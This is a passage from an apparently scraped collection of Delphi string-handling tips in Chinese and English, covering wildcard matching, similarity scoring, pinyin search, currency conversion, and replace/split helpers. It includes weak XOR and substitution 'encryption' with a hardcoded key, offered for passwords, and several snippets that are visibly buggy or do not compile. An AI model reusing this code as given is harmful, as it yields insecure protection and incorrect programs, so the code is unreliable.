Status := FileWrite (FileHandle, Buffer^, Destination) ;

F.BufPos := 0 ;

Result := 0 ;

End ;

End ;

Begin

Case F.Mode Of

fmInput:

Read (TStreamFileRecord (F.UserData)) ;

fmOutput:

Write (TStreamFileRecord (F.UserData)) ;

End ;

End ;

Function StreamFileFlush (var F : TTextRec) : Integer ;

Begin

Result := 0 ;

End ;

Function StreamFileClose (var F : TTextRec) : Integer ;

Begin

With TStreamFileRecord (F.UserData) Do

Begin

FreeMem (Buffer) ;

FileClose (FileHandle) ;

End ;

Result := 0 ;

End ;

Procedure AssignStreamFile (var F : Text ; Filename : String) ;

Begin

With TTextRec (F) Do

Begin

Mode := fmClosed ;

BufPtr := @Buffer ;

BufSize := Sizeof (Buffer) ;

OpenFunc := @StreamFileOpen ;

InOutFunc := @StreamFileInOut ;

FlushFunc := @StreamFileFlush ;

CloseFunc := @StreamFileClose ;

StrPLCopy (Name, FileName, Sizeof(Name) - 1) ;

End ;

End ;

end.


用TMask实现字符串匹配

Using TMask

1. Include masks in your uses section.
2. Add in a { var Mask:TMask }.
3. Create an instance by { Mask := TMask.Create(Pattern); } where Pattern a string
with some wildcard characters.
4. Call method { Matches(s:string) } which return boolean True if s matches
the Pattern used in the Create method.
5. Remember to Free the object Mask.

Example:

1. Pattern := 'M?tch*';

Mask.Matches( 'Mktch12345' ) returns True.

Mask.Matches( 'mktch12345' ) returns False.

Mask.Matches( '.Mktch12345' ) returns False.

Mask.Matches( 'M..tch12345' ) returns False.

2. Pattern := 'M?tch';

Mask.Matches( 'Mktch12345' ) returns False.

Advanced Technique:

1. In place of any Pattern's char, a set can be used to define a Mask.

Ex. Parttern := 'Match['a'-'z']s';

Mask.Matches( 'Matches' ) returns True.

Mask.Matches( 'Matchfs' ) returns True.

Mask.Matches( 'Match.s' ) returns False.

2. If '!' appears right after '[' in a set defination, all characters in
the set will be excluded for the set. Strangely, the set ['abc'] includes
'ABC'.


字符串模式匹配

String Pattern matching

There are many times when you need to compare two strings, but want to use wild cards in the match - all last names that begin with 'St', etc. The following is a
piece of code I got from Sean Stanley in Tallahassee Florida in C. I translated it into Delphi an am uploading it here for all to use. I have not tested it extensivly, but
the original function has been tested quite thoughly.

I would love feedback on this routine - or peoples changes to it. I want to forward them to Sean to get him to release more tidbits like this.

{
This function takes two strings and compares them. The first string
can be anything, but should not contain pattern characters (* or ?).
The pattern string can have as many of these pattern characters as you want.
For example: MatchStrings('David Stidolph','*St*') would return True.

Orignal code by Sean Stanley in C
Rewritten in Delphi by David Stidolph
}

function MatchStrings(source, pattern: String): Boolean;
var
pSource: Array [0..255] of Char;
pPattern: Array [0..255] of Char;

  function MatchPattern(element, pattern: PChar):
Boolean;
function IsPatternWild(pattern: PChar):
Boolean;
var
t: Integer;

begin
Result := StrScan(pattern,'*') <> nil;
if not Result then Result := StrScan(pattern,'?') <> nil;
end;

begin
if 0 = StrComp(pattern,'*') then
Result := True
else if (element^ = Chr(0)) and (pattern^ <> Chr(0)) then
Result := False
else if element^ = Chr(0) then
Result := True
else begin
case pattern^ of
'*': if MatchPattern(element,@pattern[1]) then
Result := True
else
Result := MatchPattern(@element[1],pattern);
'?': Result := MatchPattern(@element[1],@pattern[1]);
else
if element^ = pattern^ then
Result := MatchPattern(@element[1],@pattern[1])
else
Result := False;
end;
end;
end;

begin
StrPCopy(pSource,source);
StrPCopy(pPattern,pattern);
Result := MatchPattern(pSource,pPattern);
end;


字符串匹配度

'John' and 'John' = 100%
'John' and 'Jon' = 75%
'Jim' and 'James' = 40%
"Luke Skywalker" and 'Darth Vader' = 0%

function StrSimilar (s1, s2: string): Integer;
var hit: Integer; // Number of identical chars
    p1, p2: Integer; // Position count
    l1, l2: Integer; // Length of strings
    pt: Integer; // for counter
    diff: Integer; // unsharp factor
    hstr: string; // help var for swapping strings
    // Array shows is position is already tested
    test: array [1..255] of Boolean;
begin
// Test Length and swap, if s1 is smaller
// we alway search along the longer string
if Length(s1) < Length(s2) then begin
  hstr:= s2;  s2:= s1;  s1:= hstr;
end;
// store length of strings to speed up the function
l1:= Length (s1);
l2:= Length (s2);
p1:= 1;  p2:= 1;  hit:= 0;
// calc the unsharp factor depending on the length
// of the strings.  Its about a third of the length
diff:= Max (l1, l2) div 3 + ABS (l1 - l2);
// init the test array
for pt:= 1 to l1 do test[pt]:= False;
// loop through the string
repeat
  // position tested?
  if not test[p1] then begin
   // found a matching character?
   if (s1[p1] = s2[p2]) and (ABS(p1-p2) <= diff) then begin
    test[p1]:= True;
    Inc (hit); // increment the hit count
    // next positions
    Inc (p1); Inc (p2);
    if p1 > l1 then p1:= 1;
   end else begin
    // Set test array
    test[p1]:= False;
    Inc (p1);
    // Loop back to next test position if end of the string
    if p1 > l1 then begin
     while (p1 > 1) and not (test[p1]) do Dec (p1);
     Inc (p2)
    end;
   end;
  end else begin
   Inc (p1);
   // Loop back to next test position if end of string
   if p1 > l1 then begin
    repeat Dec (p1); until (p1 = 1) or test[p1];
    Inc (p2);
   end;
  end;
until p2 > Length(s2);
// calc procentual value
Result:= 100 * hit DIV l1;
end;


随机字符串生成

function TfrmPWGenerate.btnGenerateClick(Sender: TObject): string;

{max length of generated password}
const
  intMAX_PW_LEN = 10;
var
  i: Byte;
  s: string;
begin
  {if you want to use the 'A..Z' characters}
  if cbAZ.Checked then
    s := 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  else
    s := '';

  {if you want to use the 'a..z' characters}
  if cbAZSmall.Checked then
    s := s + 'abcdefghijklmnopqrstuvwxyz';

  {if you want to use the '0..9' characters}
  if cb09.Checked then
    s := s + '0123456789';
  if s = '' then exit;

  Result := '';
  for i := 0 to intMAX_PW_LEN-1 do
    Result := Result + s[Random(Length(s)-1)+1];
end;

initialization
  Randomize;

结果:
IBbfA1mVK2
tmuXIuQJV5
oNEY1cF6xB
flIUhfdIui
mxaK71dJaq
B0YTqxdaLh
...


在Case语句里使用字符串

问题提出/摘要:
怎样在 CASE 语句中使用字符串? 我们常被一大堆的字符串条件跳转语句搞得晕头转向，太多的 IF ELSE 既花时间写，也花时间读。能不能用CASE语句来解决呢？看了本文，或许会对你有所启发。

回答:
Delphi中的 CASE 语句限制只能用顺序的（ordinal）类型，以至于不能在其中直接使用字符串，这不能不说是个遗憾。

解决它的根本思想是将字符串列转化成可比较的顺序类型。最简单的方法是将这些字符串作为一个字符串数组，它们在数组中的索引即代表它们各自的顺序。

首先建立 CaseString 函数，用于获取某字符串在一个字符串数组中的顺序：

function CaseString (const s: string;
const x: array of string): Integer;
var i: Integer;
begin
Result:= -1; // Default return parameter
for i:= Low (x) to High (x) do begin
if s = x[i] then begin Result:= i; Exit; end;
end;
end;

Low() 提供第一个数组成员（通常是0），High() 则返回最后一个。因为 CaseString 返回的是待查字符串在字符串数组中的位置，因此，它可以被直接用到 CASE 语句中：

search:= 'delphi3000';
case CaseString (search, ['delphi3000',
'delphipages',
'Torry's']) of
0: s:= 'Excellent!';
1: s:= 'Good source';
2: s:= 'Not bad!';
end;

这里我介绍另一种使用 TStringList 的解决方法。
  示例1：

  var
    SelectStrings: TStringList;
  ...

  { Initialization }
    SelectStrings := TStringList.Create;
    SelectStrings.Add('First');       (*1*)
    SelectStrings.Add('Second');      (*2*)
    SelectStrings.Add('Third');       (*3*)
  ...

  { Use it }

    case SelectStrings.IndexOf(sPassedString) of  (*4*)
      0: //First
        begin
         <do something>
        end;
      1: //Second
        begin
         <do something>
        end;
      2: //Third
        begin
         <do something>
        end;
    end;
  ...
  { Finalization }
    SelectStrings.Free;

  上面是大小写敏感的比较，如果要对大小写不敏感则改用下面的比较方法：

    SelectStrings.Add(AnsiUpperCase('First'));       (*1*)
    SelectStrings.Add(AnsiUpperCase('Second'));      (*2*)
    SelectStrings.Add(AnsiUpperCase('Third'));       (*3*)

    case SelectStrings.IndexOf(AnsiUpperCase(sPassedString)) of  (*4*)

  (注意：不要使用 UpperCase, 应使用 AnsiUpperCase, 否则你的程序将在国际化中工作不正常。)


把字体转化为字符串

function FontToStr(Font : TFont) : string;
var
s : string;

begin
if Font=nil then
Exit;
s:=Font.Name;
s:=s+', '+IntToStr(Font.Size)+'pt';
if fsBold in Font.Style then
s:=s+', Bold';
if fsItalic in Font.Style then
s:=s+', Italic';
if fsUnderline in Font.Style then
s:=s+', Underlined';
if fsStrikeout in Font.Style then
s:=s+', Strikeout';
FontToStr:=s;
end;


字符串和枚举类型转换

theStringname := GetEnumName(Typeinfo(TAlignment),Ord(label1.Alignment));

label1.Alignment := TAlignment(GetEnumValue(TypeInfo(TAlignment),theStringname));
////////////////////////////////
type colours=(red,blue,green)
var colour: colours

begin
colour:='red';
end;

function ColoursToString (C : Colours) : String
begin
Result := GetEnumName (TypeInfo (Colours), Ord (C));
end;

    function StringToColours (S : String) :
Colours;
var
IntVal : Integer;
begin
IntVal := GetEnumValue
(TypeInfo (Colours), S);
if IntVal
= -1 then
raise Exception.Create ('Invalid
string');
Result := Colours
(IntVal);
end;


用拼音首字符序列来实现检索功能

---- 在日常工作和生活中我们经常使用电子记事本查找个人通讯录信息，或在单位的应用程序中查询客户档案或业务资料，这个过程中往往需要输入大量的汉字信息，对于熟悉计算机的人这已经是一件头疼的事，那些不太熟悉计算机或根本不懂汉字输入的用户简直就望而生畏。作为对数据检索技术的一种新的尝试，作者探索使用汉字拼音的首字符序列作为检索关键字，这样，用户不必使用汉字，只须简单地键入要查询信息的每个汉字的拼音首字符即可。比如你想查找关键字“中国人民银行”，你只需要输入“zgrmyh”。作者希望通过下面的例子，为广大计算机同行起一个抛砖引玉的作用，让我们开发的程序更加便捷、好用。

---- 原理很简单，找出汉字表中拼音首字符分别为“A”至“Z”的汉字内码范围，这样，对于要检索的汉字只需要检查它的内码位于哪一个首字符的范围内，就可以判断出它的拼音首字符。

---- 程序更简单，包括3个控件：一个列表存放着所有待检索的信息；一个列表用于存放检索后的信息；一个编辑框用于输入检索关键字（即拼音首字符序列）。详细如下：

---- 1．进入Delphi创建一个新工程：Project1

---- 2．在Form1上创建以下控件并填写属性：

控件类型 属性名称 属性值
Edit Name Search
ListBox Name SourceList
Items 输入一些字符串，如姓名等，用于提供检索数据
ListBox Name ResultList

---- 3．键入以下两个函数

// 获取指定汉字的拼音索引字母，如：“汉”的索引字母是“H”
function GetPYIndexChar(
hzchar:string):char;
begin
case WORD(hzchar[1]) shl 8 +
WORD(hzchar[2]) of
$B0A1..$B0C4 : result :=
'A';
$B0C5..$B2C0 : result := 'B';
$B2C1..$B4ED : result := 'C';
$B4EE..$B6E9 : result :=
'D';
$B6EA..$B7A1 : result := 'E';
$B7A2..$B8C0 : result := 'F';
$B8C1..$B9FD : result :=
'G';
$B9FE..$BBF6 : result := 'H';
$BBF7..$BFA5 : result := 'J';
$BFA6..$C0AB : result :=
'K';
$C0AC..$C2E7 : result := 'L';
$C2E8..$C4C2 : result := 'M';
$C4C3..$C5B5 : result :=
'N';
$C5B6..$C5BD : result := 'O';
$C5BE..$C6D9 : result := 'P';
$C6DA..$C8BA : result :=
'Q';
$C8BB..$C8F5 : result := 'R';
$C8F6..$CBF9 : result := 'S';
$CBFA..$CDD9 : result :=
'T';
$CDDA..$CEF3 : result := 'W';
$CEF4..$D188 : result := 'X';
$D1B9..$D4D0 : result :=
'Y';
$D4D1..$D7F9 : result := 'Z';
else
result := char(0);
end;
end;

// 在指定的字符串列表SourceStrs中检索符合拼音索引字符串
PYIndexStr的所有字符串，并返回。
function SearchByPYIndexStr
( SourceStrs:TStrings;
PYIndexStr:string):string;
label NotFound;
var
i, j :integer;
hzchar :string;
begin
for i:=0 to SourceStrs.Count-1 do
begin
for j:=1 to Length(PYIndexStr) do
begin
hzchar:=SourceStrs[i][2*j-1]
+ SourceStrs[i][2*j];
if (PYIndexStr[j]<>'?') and
(UpperCase(PYIndexStr[j]) <>
GetPYIndexChar(hzchar)) then goto NotFound;
end;
if result='' then result := SourceStrs[i]
else result := result + Char
(13) + SourceStrs[i];
NotFound:
end;
end;

4．增加编辑框Search的OnChange事件：
procedure TForm1.SearchChange(Sender: TObject);
var ResultStr:string;
begin
ResultStr:='';
ResultList.Items.Text := SearchByPYIndexStr
(Sourcelist.Items, Search.Text);
end;

---- 5．编译运行后，在编辑框Search中输入要查询字符串的拼音首字符序列，检索结果列表ResultList就会列出检索到的信息，检索中还支持“？”通配符，对于难以确定的的文字使用“？”替代位置，可以实现更复杂的检索。


为数值加上千位分隔符

 见以下方法:
procedure TForm1.Button1Click(Sender: TObject);
var n : DOUBLE ;
begin
n:=12345678.99;
ShowMessage(Format('%*.*n',[10,2,n]));
end;


小写金额转换

财务软件中总少不了大写的金额表示方式，如下为一个简单的小写金额转换为大写的函数，其思路简单（可以说烂吧，居然利用了位置来转换），但是它却几乎可以无限制的转换，只要你能读得出来和写得进去：
function Tform1.SmallTOBig(small:real):string;
var SmallMonth,BigMonth:string;
wei1,qianwei1:string[2];
wei,qianwei,dianweizhi,qian:integer;
begin
{------- 修改参数令值更精确 -------}
{小数点后的位数，需要的话也可以改动该值}
qianwei:=-2;

{转换成货币形式，需要的话小数点后加多几个零}
Smallmonth:=formatfloat('0.00',small);
{---------------------------------}

dianweizhi :=pos('.',Smallmonth);{小数点的位置}

{循环小写货币的每一位，从小写的右边位置到左边}
for qian:=length(Smallmonth) downto 1 do
begin
{如果读到的不是小数点就继续}
if qian<>dianweizhi then
begin

{位置上的数转换成大写}
case strtoint(copy(Smallmonth,qian,1)) of

1:wei1:='壹'; 2:wei1:='贰';
3:wei1:='叁'; 4:wei1:='肆';
5:wei1:='伍';
6:wei1:='陆';
7:wei1:='柒'; 8:wei1:='捌';
9:wei1:='玖';
0:wei1:='零';
end;

{判断大写位置，可以继续增大到real类型的最大值，可是谁有那么多钱}
case qianwei
of
-3:qianwei1:='厘';
-2:qianwei1:='分';
-1:qianwei1:='角';
0
:qianwei1:='元';
1 :qianwei1:='拾';
2 :qianwei1:='佰';
3
:qianwei1:='千';
4 :qianwei1:='万';
5 :qianwei1:='拾';
6
:qianwei1:='佰';
7 :qianwei1:='千';
8 :qianwei1:='亿';
9
:qianwei1:='十';
10:qianwei1:='佰';
11:qianwei1:='千';
end;

inc(qianwei);
BigMonth :=wei1+qianwei1+BigMonth;{组合成大写金额}
end;

end;

SmallTOBig:=BigMonth;

end;

程序调用如下“edit1.text:=SmallTOBig(1234567890.1234);”他自动默认小数点后两位


获得字符串中汉字和英文的个数

 最简单的办法是：
length(yourstring)-length(widestring(yourstring))=汉字个数
2*length(widestring(yourstring))-length(yourstring)=英语个数
////////////////////////////////////////
中国使用的是汉字，而又夹杂这些英文，这样我们在数字数时就麻烦了，电脑是按字节来计算，一个汉字算两个字，而中国人的习惯是一个汉字就是一个字，所以通过电脑来计算必须解决下列问题：
利用文本控件Tmemo来存放文章，分别对中、英文的字符数进行统计，我们可以通过把字符转换为ASCII码数值来进行判断，Ord()函数就可以把字符转换为对应的数值，值33-126为键盘可使用字符，值127以上的为未知字符，即为汉字
procedure TForm1.Button1Click(Sender: Tobject);
var s:string;
I,e,c:integer;
begin
s:=memo1.text;
e:=0;c:=0;
for I:=1 to length(s) do
begin
if (ord(s[I])>=33)and(ord(s[I])<=126) then
begin
inc(e);
label1.caption:='英文字数：'+inttostr(e);
end
else
if (ord(s[I])>=127) then
begin
inc(c);
label2.caption:='中文字数：'+inttostr(c div 2);
end;
end;
end;


判断字符串代表有效数字

function IsStrANumber(NumStr : string) : bool;
begin
result :=
true;
try
StrToInt(NumStr);
except
result := false;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsStrANumber(Edit1.Text) then
ShowMessage(Edit1.Text) else
ShowMessage('Not a Number');
end;


加密字符串

program Crypt;
uses WinCRT;
const
C1 = 52845;
C2 = 22719;
function Encrypt(const S: String; Key: Word): String;
var
I: byte;
begin
Result[0] := S[0];
for I := 1 to Length(S) do begin
Result[I] := char(byte(S[I]) xor (Key shr 8));
Key := (byte(Result[I]) + Key) * C1 + C2;
end;
end;

function Decrypt(const S: String; Key: Word): String;
var
I: byte;
begin
Result[0] := S[0];
for I := 1 to Length(S) do begin
Result[I] := char(byte(S[I]) xor (Key shr 8));
Key := (byte(S[I]) + Key) * C1 + C2;
end;
end;

var
S: string;
begin
Write('>');
ReadLn(S);
S := Encrypt(S,12345);
WriteLn(S);
S := Decrypt(S,12345);
WriteLn(S);
end.
//////////////////////////////////////////////////////
unit Unit2;

interface

Const Allchar: string = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789';

procedure Encrypt( var ss: string );

implementation

procedure Encrypt( var ss: string );
var l, lac, // string length
sp, // ss char pointer
cp: integer; // allchar pointer
begin
l := Length(ss);
lac := Length( Allchar );
sp := 1;
while sp <= l do begin
cp := 1;
while (allchar[cp] <> ss[sp]) and ( cp <= lac ) do inc( cp );
{ match char and find the encrypted counterpart in the reverse
order in position }
if cp > lac then ss[sp]:= '*'
{ Mark illegal char - use only char not in allchar }
else begin
{ Un-remark next line will further enhance security...
such that same character will appear as
different after encrypt }

// cp := (( cp + sp*2 ) mod lac) + 1;

            ss[sp] := allchar[
   lac - cp + 1 ];     //first char result in
   the last
end;
inc(sp);
end;
end;

end.

{ Specail about this procedure:

1. Same procedure to encrypt and decrypt.
( less code to maintain. )
2. Every Allchar set produce a different encryption.
{ a set of 62 char produce 3.147E85 combinations )
3. Full control over character set of encrypted string.
( good for 7-bit fields, barcoding, passwords, magstripe and filenames etc )
4. One table lookup. ( easy to ensure no duplication possible
for every possible allchar. So as a need to remove/add chars )
5. Automatic marking of illegal characters.
( simplified coding needs. )

以下介绍的加密算法强度不高，我编写它是因为我需要既保持文本是由可打印字符组成的，同时又无法直接看到，也许一个孩子花上十分钟就可以破解这个算法......也许吧，这我不清楚，而且也不关心，因为我只要它能达到我的目的就行。

密钥(Key)的长度可以设置为任意长度。在这个函数中，将每个字符的低四位和密钥中字符的低四位进行XOR运算，这样加密后的字符仍然是7位的字符同时也是可打印的。

{注意 :- Key如果为空，则使用缺省密钥}

function DenCrypt(Str : string; Key : string): string;

var

X, Y : Integer;

A : Byte;

begin

if Key = '' then

Key := 'd1duOsy3n6qrPr2eF9u';

Y := 1;

for X := 1 to length(Str) do begin

A := (ord(Str[X]) and $0f) xor (ord(Key[Y]) and $0f);

Str[X] := char((ord(Str[X]) and $f0) + A);

inc(Y);

if Y > length(Key) then

Y := 1;

end;

Result := Str;

end;

由于函数使用的是简单的XOR运算，因此你可以再次以相同的密钥调用此函数就可以解密字符串。


常用字符串处理函数

copy(str,pos,num)
从str字符串的pos处开始,截取num个字符的串返回.假设str为'abcdef',copy(str,3,2)='cd',copy(str,4,10)='def'
concat(str1,str2{,strn})
把各自变量连接起来,返回连接后的字符串(长度不能超过255)

length(str) 返回str的字符个数,即其长度.

pos(obj,target) 在target字符串中找出第一个出现obj的第一个字符位置,如果找不到,返回0.

AnsiStrLastChar('你好')结果是“好”。如果有半个汉字出现，返回这半个汉字。二者字符串长度分别为2和1。

CompareStr - 区分大小写
CompareText - 不区分大小写

////////////////////////////////////////////////////////
{判断字符是否是数字}
function
IsDigit(ch: char): boolean;
begin
Result := ch in
['0'..'9'];
end;
{判断字符是否是大写字符}
function IsUpper(ch: char):
boolean;
begin
Result := ch in ['A'..'Z'];
end;

{判断字符是否是小写字符}
function IsLower(ch: char): boolean;
begin
Result := ch in ['a'..'z'];
end;

{转换为大写字符}
function ToUpper(ch: char): char;
begin
Result := chr(ord(ch) and $DF);
end;

{转换为小写字符}
function ToLower(ch: char): char;
begin
Result := chr(ord(ch) or $20);
end;

{ Capitalizes first letter of every word in s }
function Proper(const s:
string): string;
var
i: Integer;
CapitalizeNextLetter:
Boolean;
begin
Result := LowerCase(s);
CapitalizeNextLetter := True;
for i := 1 to Length(Result)
do
begin
if CapitalizeNextLetter and
IsLower(Result[i]) then
Result[i] :=
ToUpper(Result[i]);
CapitalizeNextLetter := Result[i] = '
';
end;
end;
////////////////////////////////////////////////////////////
{返回两个子字符串之间字符的个数}
Function
p2pcount( s, ss1, ss2 : string ): integer;
var i, j, slen :
integer;
begin
i := pos( ss1, s );
j := pos(
ss2, s );
slen := Length(ss2);
if j >=
i then Result := j - i + slen else Result := 0;
end;

{更快速的字符查询,快40%}
function ScanStr(ToScan: PChar; Sign: Char):PChar;
begin
Result:= nil;
if ToScan <> nil then
while (ToScan^ <> #0) do begin
if ToScan^ = Sign then begin
Result:= ToScan;
break;
end;
inc(ToScan);
end;
end;
/////////////////////////////
替换字符串中子串的函数，他可以从字符串中找出指定子串，并替换为另一子串。
function replacing(S,source,target:string):string;
var site,StrLen:integer;
begin
{source在S中出现的位置}
site:=pos(source,s);

{source的长度}
StrLen:=length(source);

{删除source字符串}
delete(s,site,StrLen);

{插入target字符串到S中}
insert(target,s,site);

{返回新串}
replacing:=s;
end;
///////////////////////
另两个替换字符串中子串的函数
function
repl_substr( sub1, sub2, s: string ): string;
var i:
integer;
begin
repeat
i := pos(
sub1, s ) ;
if i > 0 then
begin
delete( s, i,
Length(sub1));
insert( sub2, s, i
);
end;
until i <
1;
Result := s;
end;

function ReplaceText(const S,ReplacePiece,ReplaceWith: String):String;

Var Position: Integer;
TempStr: String;
begin
Position := Pos(ReplacePiece,S);
if Position > 0 then Begin
TempStr := S;
Delete(TempStr,1,Position-1+Length(ReplacePiece));
Result :=
Copy(S,1,Position-1)+ReplaceWith+ReplaceText(TempStr,ReplacePiece,ReplaceWith)

  End else Result :=
S;
end;
////////////////////////
替换全部子字符串的函数

function ReplaceSub(str, sub1, sub2: String): String;
var
aPos: Integer;
rslt: String;

  begin
aPos := Pos(sub1,
str);
rslt := '';
while (aPos
<> 0) do begin
rslt := rslt + Copy(str,
1, aPos - 1) + sub2;
Delete(str, 1, aPos +
Length(sub1));
aPos := Pos(sub1,
str);
end;
Result := rslt +
str;
end;

/////////////////////////
在字符串左右填充指定数量的指定字符
function UT_PadString(inString :string; maxLength :integer; padChar :char;
left :boolean) :string;
begin
result := inString;
while (Length(result) < maxLength) do
if (left) then
result := padChar + result
else
result := result + padChar;
end;
/////////////////////////////////////
提取字符串中指定子字符串前的字符串
Function Before ( Src:string ; Var S:string ) : string ;
Var
F : Word ;

begin
F := POS (Src,S) ;
if F=0 then
Before := S
else
Before := COPY(S,1,F-1) ;
end ;
//////////////////////////////////
提取字符串中指定子字符串后的字符串
Function After ( Src:string ; Var S:string ) : string ;
Var
F : Word ;

begin
F := POS (Src,S) ;
if F=0 then
After := ''
else
After := COPY(S,F+length(src),length(s)) ;
end ;
////////////////////////////////////
判断字符串是否可以转换为整数
function IsIntStr(const S: string): boolean;
begin
Result:=StrToIntDef(S,0)=StrToIntDef(S,1);
end;
//////////////////////////////////////
从字符串中删除指定字符串
procedure RemoveInvalid(what, where: string): string;

var
tstr: string;

begin
tstr:=where;
while pos(what, tstr)>0 do
tstr:=copy(tstr,1,pos(what,tstr)-1) +
copy(tstr,pos(what,tstr)+length(tstr),length(tstr));
Result:=tstr;
end;
用法:
NewStr:=RemoveInvalid('<invalid>','This <invalid> is my string and I wan to
remove the word <invalid>');
///////////////////////////////////////////
根据某个字符分割字符串的函数
procedure SeparateTerms(s : string;Separator : char;Terms : TStringList);
{ This browses a string and divide it into terms whenever the given
separator is found. The separators will be removed }
var
hs : string;
p : integer;

begin
Terms.Clear; // First remove all remaining terms
if Length(s)=0 then // Nothin' to separate
Exit;
p:=Pos(Separator,s);
while P<>0 do
begin
hs:=Copy(s,1,p-1); // Copy term
Terms.Add(hs); // Add to list
Delete(s,1,p); // Remove term and separator
p:=Pos(Separator,s); // Search next separator
end;
if Length(s)>0 then
Terms.Add(s); // Add remaining term
end;

==========
= 用 法
==========

var
Terms : TStringList;
i : integer;

const
TestStr = '1st term;2nd term;3rd term';

begin
Terms:=TStringList.Create;
SeparateTerms(TestStr,';',Terms);
for i:=0 to terms.Count-1
do
ShowMessage(Terms.Strings[i]);
Terms.Free;
end;
/////////////////////////////
根据一组字符分割字符串的函数
type
Charset
= set of Char;
var
f : Text;
s : String;

procedure WriteStringSplitted(var s: String; Separators: Charset);
var
a,e : Integer; {anfang und ende des w鰎tchens}
begin
a := 1;
for e := 1 to Length(s) do
if s[e] in Separators then begin
WriteLn(Copy(s, a, e-a));
a := e + 1;
end;
WriteLn(Copy(s, a, e-a+1));
end;

begin
Assign(f, 'c:\dingsbums\text.txt');
Reset(f);
while not EOF(f) do begin
ReadLn(f,s);
WriteStringSplitted(s, [':', ',']);
end;
Close(f);
end.
//////////////////////////////////////////////////

{===============================================================}
{ 函数 : RESULTSTRING = HexToBin(HEXSTRING)
{ 目的 : 把十六进制字符串转换为二进制字符串
{
{===============================================================}
{ 函数 : RESULTINTEGER = HexCharToInt(HEXCHAR)
{ 目的 : 转换一个十六进制字符为整数
{===============================================================}
{ 函数 : RESULTSTRING = HexCharToBin(HEXCHAR)
{ 目的 : 转换一个十六进制字符为二进制字符串
{===============================================================}
{ 函数 : RESULTINTEGER = Pow(BASE,POWER)
{ 目的 : 指数函数
{===============================================================}
{ 函数 : RESULTINTEGER = BinStrToInt(BINSTRING)
{ 目的 : 把二进制字符串转换为整数
{===============================================================}
{ 函数 : RESULTSTRING = DecodeSMS7Bit (PDUSTRING)
{ 目的 : 解码一个7-bit SMS (GSM 03.38) 为ASCII码
{===============================================================}
{ 函数 : RESULTSTRING = ReverseStr (SOURCESTRING)
{ 目的 : 反转一个字符串
{===============================================================}

unit BinHexTools;
interface

function HexToBin(HexNr : string): string;
function HexCharToInt(HexToken
: char):Integer;
function HexCharToBin(HexToken : char): string;
function pow(base, power: integer): integer;
function BinStrToInt(BinStr
: string) : integer;
function DecodeSMS7Bit(PDU : string):string;
function ReverseStr(SourceStr : string) : string;

implementation

uses sysutils, dialogs;

function HexCharToInt(HexToken : char):Integer;
begin
{if HexToken>#97 then HexToken:=Chr(Ord(HexToken)-32);
{ use lowercase aswell }

Result:=0;

  if (HexToken>#47) and (HexToken<#58)
then       { chars 0....9 }
Result:=Ord(HexToken)-48
else if
(HexToken>#64) and (HexToken<#71) then  { chars A....F }
Result:=Ord(HexToken)-65 + 10;
end;

function HexCharToBin(HexToken : char): string;
var DivLeft : integer;
begin
DivLeft:=HexCharToInt(HexToken);   {
first HEX->BIN }
Result:='';
{ Use reverse dividing }
repeat
{ Trick; divide by 2 }
if odd(DivLeft)
then             {
result = odd ? then bit = 1 }
Result:='1'+Result
{ result = even ? then bit = 0 }
else
Result:='0'+Result;

DivLeft:=DivLeft div 2; { keep dividing till 0 left and length = 4 }
until (DivLeft=0) and (length(Result)=4); { 1 token = nibble = 4 bits }
end;

function HexToBin(HexNr : string): string;
{ only stringsize is limit of binnr }
var Counter : integer;
begin
Result:='';

for Counter:=1 to length(HexNr) do
Result:=Result+HexCharToBin(HexNr[Counter]);
end;

function pow(base, power: integer): integer;
var counter : integer;
begin
Result:=1;

for counter:=1 to power do
Result:=Result*base;
end;

function BinStrToInt(BinStr : string) : integer;
var counter : integer;
begin
if length(BinStr)>16 then
raise ERangeError.Create(#13+BinStr+#13+
'is not within the valid range of a 16 bit binary.'+#13);

Result:=0;

for counter:=1 to length(BinStr) do
if BinStr[Counter]='1' then
Result:=Result+pow(2,length(BinStr)-counter);
end;

function DecodeSMS7Bit(PDU : string):string;
var OctetStr : string;
OctetBin : string;
Charbin  :
string;
PrevOctet: string;
Counter  : integer;
Counter2 : integer;
begin
PrevOctet:='';
Result:='';

for Counter:=1 to length(PDU) do
begin
if length(PrevOctet)>=7 then { if 7 Bit overflow on previous }
begin
if BinStrToInt(PrevOctet)<>0 then
Result:=Result+Chr(BinStrToInt(PrevOctet))
else Result:=Result+' ';

PrevOctet:='';
end;

if Odd(Counter) then { only take two nibbles at a time }
begin
OctetStr:=Copy(PDU,Counter,2);
OctetBin:=HexToBin(OctetStr);

Charbin:='';
for Counter2:=1 to length(PrevOctet) do
Charbin:=Charbin+PrevOctet[Counter2];

for Counter2:=1 to 7-length(PrevOctet) do
Charbin:=OctetBin[8-Counter2+1]+Charbin;

if BinStrToInt(Charbin)<>0 then Result:=Result+Chr(BinStrToInt(CharBin))
else Result:=Result+' ';

PrevOctet:=Copy(OctetBin,1,length(PrevOctet)+1);
end;
end;
end;

function ReverseStr(SourceStr : string) : string;
var Counter : integer;
begin
Result:='';

for Counter:=1 to length(SourceStr) do
Result:=SourceStr[Counter]+Result;
end;

end.


前导0的格式化输出

在Delphi中没有前导0输出的函数，如C语言中printf("%08d",10);就会输"000000010"，但是在实际应用中经常会用到此种函数，如财务等数据的输出。如何实现？以下的代码实现了这种功能，

function qd0str(const count,num:integer):String;
Var
s1,s2:String;
begin
s1:=IntToStr(Num);
s2:='00000000000000000000';
if (Length(s1)>=count) then
s2:=''
else if(count>20) then
SetLength(S2,20-Length(s1))
else
SetLength(S2,count-Length(s1));

Result:=S2+S1;
end;

函数的参数count为输出字符串的总长度，在函数中定义为最大20。Num为需要转换成字符串的数据。
////////////////////////////////////////
function IntToLZStr(value : integer;digits : byte) : string;
var
Res : string;

begin
Res:=IntToStr(value);
while Length(Res)<digits do
Insert('0',res,1);
IntToLZStr:=Res;
end;


汇编语言技巧

 Delphi 2.0以上版本使用汇编语言，不能使用DOS下的中断调用及汇编必须将BX寄存器入栈。
Procedure TForm1.Button1Click(Sender:TObject);
begin
ASM
push bx //此行汇编必须要有，且在第一行
mov ax,0ffh
add ax,033h
pop bx //必须恢复BX寄存器，否则系统出现不可预料的错误，小心当机。
END;
end;


Byte快速转换为16进制字符串

作者 : ether
    上次delphi做的asm内嵌过程／函数格式是：
procedure procname(...);
asm
...
end;
    对这种过程／函数，整个由asm写成。内嵌asm还有一种常见用法，
就是在程序局部调用asm：
